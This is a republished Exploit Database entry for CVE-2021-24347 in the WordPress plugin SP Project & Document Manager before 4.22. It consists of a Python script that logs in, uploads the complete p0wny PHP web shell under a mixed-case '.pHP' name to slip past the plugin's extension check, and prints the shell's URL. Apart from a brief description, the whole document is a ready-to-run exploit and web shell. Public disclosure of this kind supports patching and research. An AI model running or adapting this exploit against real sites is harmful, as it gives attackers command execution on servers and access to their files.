WordPress Plugin SP Project & Document Manager 4.21 – Remote Code Execution (RCE) (Authenticated)

Exploit Database
130 阅读

作者： Ron Jost

日期： 2021-07-08
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50115/

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# Exploit Title: WordPress Plugin SP Project & Document Manager 4.21 - Remote Code Execution (RCE) (Authenticated)

# Date 07.07.2021

# Exploit Author: Ron Jost (Hacker5preme)

# Vendor Homepage: https://smartypantsplugins.com/

# Software Link: https://downloads.wordpress.org/plugin/sp-client-document-manager.4.21.zip

# Version: Before 4.22

# Tested on: Ubuntu 18.04

# CVE: CVE-2021-24347

# CWE: CWE-434

# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24347/README.md

'''

Description:

The SP Project & Document Manager WordPress plugin before 4.22 allows users to upload files, however,

the plugin attempts to prevent php and other similar files that could be executed on the server from being uploaded

by checking the file extension. It was discovered that php files could still be uploaded by

changing the file extension's case, for example, from "php" to "pHP".

'''

Banner:

'''

banner = """

______ _______ ____ ___ ________________ __ _____

/ ___\ \ / / ____| |___ \ / _ \___ \/ ||___ \| || ||___ /| || |___|

| |\ \ / /|_| _____ __) | | | |__) | |_____ __) | || |_ |_ \| || |_ / /

| |___\ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _|__) |__ _/ /

\____|\_/|_____| |_____|\___/_____|_||_____||_||____/ |_|/_/

* WordPress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated)

* @Hacker5preme

"""

print(banner)

'''

Import required modules:

'''

import requests

import argparse

'''

User-Input:

'''

my_parser = argparse.ArgumentParser(description='Wordpress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated)')

my_parser.add_argument('-T', '--IP', type=str)

my_parser.add_argument('-P', '--PORT', type=str)

my_parser.add_argument('-U', '--PATH', type=str)

my_parser.add_argument('-u', '--USERNAME', type=str)

my_parser.add_argument('-p', '--PASSWORD', type=str)

args = my_parser.parse_args()

target_ip = args.IP

target_port = args.PORT

wp_path = args.PATH

username = args.USERNAME

password = args.PASSWORD

print('')

print('[*] Starting Exploit:')

print('')

'''

Authentication:

'''

session = requests.Session()

auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'

# Header:

header = {

'Host': target_ip,

'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',

'Accept-Encoding': 'gzip, deflate',

'Content-Type': 'application/x-www-form-urlencoded',

'Origin': 'http://' + target_ip,

'Connection': 'close',

'Upgrade-Insecure-Requests': '1'

}

# Body:

body = {

'log': username,

'pwd': password,

'wp-submit': 'Log In',

'testcookie': '1'

}

# Authenticate:

print('')

auth = session.post(auth_url, headers=header, data=body)

auth_header = auth.headers['Set-Cookie']

if 'wordpress_logged_in' in auth_header:

print('[+] Authentication successfull !')

else:

print('[-] Authentication failed !')

exit()

'''

Retrieve User ID from the widget:

'''

user_id_text = session.get('http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview').text

search_string = "<form><select name='user_uid' id='user_uid' class=''>"

user_string = ">" + username

user_id_text = user_id_text[user_id_text.find(search_string):]

user_id_text = user_id_text[user_id_text.find(user_string) - 2: user_id_text.find(user_string)]

user_id = user_id_text.replace("'", '')

'''

Exploit:

'''

exploit_url = "http://" + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview&id=' + user_id

# Header (Exploit):

Header = {

"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",

"Accept-Language": "de,en-US;q=0.7,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Referer": exploit_url,

"Content-Type": "multipart/form-data; boundary=---------------------------37032792112149247252673711332",

"Origin": "http://" + target_ip,

"Connection": "close",

"Upgrade-Insecure-Requests": "1"

}

# Web Shell payload (p0wny shell): https://github.com/flozz/p0wny-shell

shell_payload = "-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"cdm_upload_file_field\"\r\n\r\na1b3bac1bc\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-name\"\r\n\r\nExploits\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"shell.pHP\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n$stdout = array();\n\nif (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n// pass\n} elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nchdir($match[1]);\n} elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nreturn featureDownload($match[1]);\n} else {\nchdir($cwd);\nexec($cmd, $stdout);\n}\n\nreturn array(\n\"stdout\" => $stdout,\n\"cwd\" => getcwd()\n);\n}\n\nfunction featurePwd() {\nreturn array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\nchdir($cwd);\nif ($type == 'cmd') {\n$cmd = \"compgen -c $fileName\";\n} else {\n$cmd = \"compgen -f $fileName\";\n}\n$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n$files = explode(\"\\n\", shell_exec($cmd));\nreturn array(\n'files' => $files,\n);\n}\n\nfunction featureDownload($filePath) {\n$file = @file_get_contents($filePath);\nif ($file === FALSE) {\nreturn array(\n'stdout' => array('File not found / no read permission.'),\n'cwd' => getcwd()\n);\n} else {\nreturn array(\n'name' => basename($filePath),\n'file' => base64_encode($file)\n);\n}\n}\n\nfunction featureUpload($path, $file, $cwd) {\nchdir($cwd);\n$f = @fopen($path, 'wb');\nif ($f === FALSE) {\nreturn array(\n'stdout' => array('Invalid path / no write permission.'),\n'cwd' => getcwd()\n);\n} else {\nfwrite($f, base64_decode($file));\nfclose($f);\nreturn array(\n'stdout' => array('Done.'),\n'cwd' => getcwd()\n);\n}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n$response = NULL;\n\nswitch ($_GET[\"feature\"]) {\ncase \"shell\":\n$cmd = $_POST['cmd'];\nif (!preg_match('/2>/', $cmd)) {\n$cmd .= ' 2>&1';\n}\n$response = featureShell($cmd, $_POST[\"cwd\"]);\nbreak;\ncase \"pwd\":\n$response = featurePwd();\nbreak;\ncase \"hint\":\n$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\nbreak;\ncase 'upload':\n$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n}\n\nheader(\"Content-Type: application/json\");\necho json_encode($response);\ndie();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n<head>\n<meta charset=\"UTF-8\" />\n<title>p0wny@shell:~#</title>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<style>\nhtml, body {\nmargin: 0;\npadding: 0;\nbackground: #333;\ncolor: #eee;\nfont-family: monospace;\n}\n\n*::-webkit-scrollbar-track {\nborder-radius: 8px;\nbackground-color: #353535;\n}\n\n*::-webkit-scrollbar {\nwidth: 8px;\nheight: 8px;\n}\n\n*::-webkit-scrollbar-thumb {\nborder-radius: 8px;\n-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\nbackground-color: #bcbcbc;\n}\n\n#shell {\nbackground: #222;\nmax-width: 800px;\nmargin: 50px auto 0 auto;\nbox-shadow: 0 0 5px rgba(0, 0, 0, .3);\nfont-size: 10pt;\ndisplay: flex;\nflex-direction: column;\nalign-items: stretch;\n}\n\n#shell-content {\nheight: 500px;\noverflow: auto;\npadding: 5px;\nwhite-space: pre-wrap;\nflex-grow: 1;\n}\n\n#shell-logo {\nfont-weight: bold;\ncolor: #FF4180;\ntext-align: center;\n}\n\n@media (max-width: 991px) {\n#shell-logo {\nfont-size: 6px;\nmargin: -25px 0;\n}\n\nhtml, body, #shell {\nheight: 100%;\nwidth: 100%;\nmax-width: none;\n}\n\n#shell {\nmargin-top: 0;\n}\n}\n\n@media (max-width: 767px) {\n#shell-input {\nflex-direction: column;\n}\n}\n\n@media (max-width: 320px) {\n#shell-logo {\nfont-size: 5px;\n}\n}\n\n.shell-prompt {\nfont-weight: bold;\ncolor: #75DF0B;\n}\n\n.shell-prompt > span {\ncolor: #1BC9E7;\n}\n\n#shell-input {\ndisplay: flex;\nbox-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\nborder-top: rgba(255, 255, 255, .05) solid 1px;\n}\n\n#shell-input > label {\nflex-grow: 0;\ndisplay: block;\npadding: 0 5px;\nheight: 30px;\nline-height: 30px;\n}\n\n#shell-input #shell-cmd {\nheight: 30px;\nline-height: 30px;\nborder: none;\nbackground: transparent;\ncolor: #eee;\nfont-family: monospace;\nfont-size: 10pt;\nwidth: 100%;\nalign-self: center;\n}\n\n#shell-input div {\nflex-grow: 1;\nalign-items: stretch;\n}\n\n#shell-input input {\noutline: none;\n}\n</style>\n\n<script>\nvar CWD = null;\nvar commandHistory = [];\nvar historyPosition = 0;\nvar eShellCmdInput = null;\nvar eShellContent = null;\n\nfunction _insertCommand(command) {\neShellContent.innerHTML += \"\\n\\n\";\neShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\neShellContent.innerHTML += escapeHtml(command);\neShellContent.innerHTML += \"\\n\";\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _insertStdout(stdout) {\neShellContent.innerHTML += escapeHtml(stdout);\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _defer(callback) {\nsetTimeout(callback, 0);\n}\n\nfunction featureShell(command) {\n\n_insertCommand(command);\nif (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\nfeatureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n} else if (/^\\s*clear\\s*$/.test(command)) {\n// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\neShellContent.innerHTML = '';\n} else {\nmakeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\nif (response.hasOwnProperty('file')) {\nfeatureDownload(response.name, response.file)\n} else {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n}\n});\n}\n}\n\nfunction featureHint() {\nif (eShellCmdInput.value.trim().length === 0) return;// field is empty -> nothing to complete\n\nfunction _requestCallback(data) {\nif (data.files.length <= 1) return;// no completion\n\nif (data.files.length === 2) {\nif (type === 'cmd') {\neShellCmdInput.value = data.files[0];\n} else {\nvar currentValue = eShellCmdInput.value;\neShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n}\n} else {\n_insertCommand(eShellCmdInput.value);\n_insertStdout(data.files.join(\"\\n\"));\n}\n}\n\nvar currentCmd = eShellCmdInput.value.split(\" \");\nvar type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\nvar fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\nmakeRequest(\n\"?feature=hint\",\n{\nfilename: fileName,\ncwd: CWD,\ntype: type\n},\n_requestCallback\n);\n\n}\n\nfunction featureDownload(name, file) {\nvar element = document.createElement('a');\nelement.setAttribute('href', 'data:application/octet-stream;base64,' + file);\nelement.setAttribute('download', name);\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.click();\ndocument.body.removeChild(element);\n_insertStdout('Done.');\n}\n\nfunction featureUpload(path) {\nvar element = document.createElement('input');\nelement.setAttribute('type', 'file');\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.addEventListener('change', function () {\nvar promise = getBase64(element.files[0]);\npromise.then(function (file) {\nmakeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n});\n}, function () {\n_insertStdout('An unknown client-side error occurred.');\n});\n});\nelement.click();\ndocument.body.removeChild(element);\n}\n\nfunction getBase64(file, onLoadCallback) {\nreturn new Promise(function(resolve, reject) {\nvar reader = new FileReader();\nreader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\nreader.onerror = reject;\nreader.readAsDataURL(file);\n});\n}\n\nfunction genPrompt(cwd) {\ncwd = cwd || \"~\";\nvar shortCwd = cwd;\nif (cwd.split(\"/\").length > 3) {\nvar splittedCwd = cwd.split(\"/\");\nshortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n}\nreturn \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n}\n\nfunction updateCwd(cwd) {\nif (cwd) {\nCWD = cwd;\n_updatePrompt();\nreturn;\n}\nmakeRequest(\"?feature=pwd\", {}, function(response) {\nCWD = response.cwd;\n_updatePrompt();\n});\n\n}\n\nfunction escapeHtml(string) {\nreturn string\n.replace(/&/g, \"&\")\n.replace(/</g, \"<\")\n.replace(/>/g, \">\");\n}\n\nfunction _updatePrompt() {\nvar eShellPrompt = document.getElementById(\"shell-prompt\");\neShellPrompt.innerHTML = genPrompt(CWD);\n}\n\nfunction _onShellCmdKeyDown(event) {\nswitch (event.key) {\ncase \"Enter\":\nfeatureShell(eShellCmdInput.value);\ninsertToHistory(eShellCmdInput.value);\neShellCmdInput.value = \"\";\nbreak;\ncase \"ArrowUp\":\nif (historyPosition > 0) {\nhistoryPosition--;\neShellCmdInput.blur();\neShellCmdInput.value = commandHistory[historyPosition];\n_defer(function() {\neShellCmdInput.focus();\n});\n}\nbreak;\ncase \"ArrowDown\":\nif (historyPosition >= commandHistory.length) {\nbreak;\n}\nhistoryPosition++;\nif (historyPosition === commandHistory.length) {\neShellCmdInput.value = \"\";\n} else {\neShellCmdInput.blur();\neShellCmdInput.focus();\neShellCmdInput.value = commandHistory[historyPosition];\n}\nbreak;\ncase 'Tab':\nevent.preventDefault();\nfeatureHint();\nbreak;\n}\n}\n\nfunction insertToHistory(cmd) {\ncommandHistory.push(cmd);\nhistoryPosition = commandHistory.length;\n}\n\nfunction makeRequest(url, params, callback) {\nfunction getQueryString() {\nvar a = [];\nfor (var key in params) {\nif (params.hasOwnProperty(key)) {\na.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n}\n}\nreturn a.join(\"&\");\n}\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", url, true);\nxhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\nxhr.onreadystatechange = function() {\nif (xhr.readyState === 4 && xhr.status === 200) {\ntry {\nvar responseJson = JSON.parse(xhr.responseText);\ncallback(responseJson);\n} catch (error) {\nalert(\"Error while parsing response: \" + error);\n}\n}\n};\nxhr.send(getQueryString());\n}\n\ndocument.onclick = function(event) {\nevent = event || window.event;\nvar selection = window.getSelection();\nvar target = event.target || event.srcElement;\n\nif (target.tagName === \"SELECT\") {\nreturn;\n}\n\nif (!selection.toString()) {\neShellCmdInput.focus();\n}\n};\n\nwindow.onload = function() {\neShellCmdInput = document.getElementById(\"shell-cmd\");\neShellContent = document.getElementById(\"shell-content\");\nupdateCwd();\neShellCmdInput.focus();\n};\n</script>\n</head>\n\n<body>\n<div id=\"shell\">\n<pre id=\"shell-content\">\n<div id=\"shell-logo\">\n___ ______ ___ <span></span>\n _ __/ _ \\_____ ___ _/ __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_.._|<span></span>\n| |_) | |_| |\\ VV /| | | | |_| | | (_| \\__ \\ | | |__/ | |_ |__|<span></span>\n| .__/ \\___/\\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)|_||_|<span></span>\n|_| |___/\\____/<span></span>\n</div>\n</pre>\n<div id=\"shell-input\">\n<label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n<div>\n<input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n</div>\n</div>\n</div>\n</body>\n\n</html>\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-notes\"\r\n\r\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"sp-cdm-community-upload\"\r\n\r\nUpload\r\n-----------------------------37032792112149247252673711332--\r\n"

# Exploit:

session.post(exploit_url, headers=header, data=shell_payload)

print('')

print('[+] Exploit done !')

print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/sp-client-document-manager/' + user_id + '/shell.php')

print('')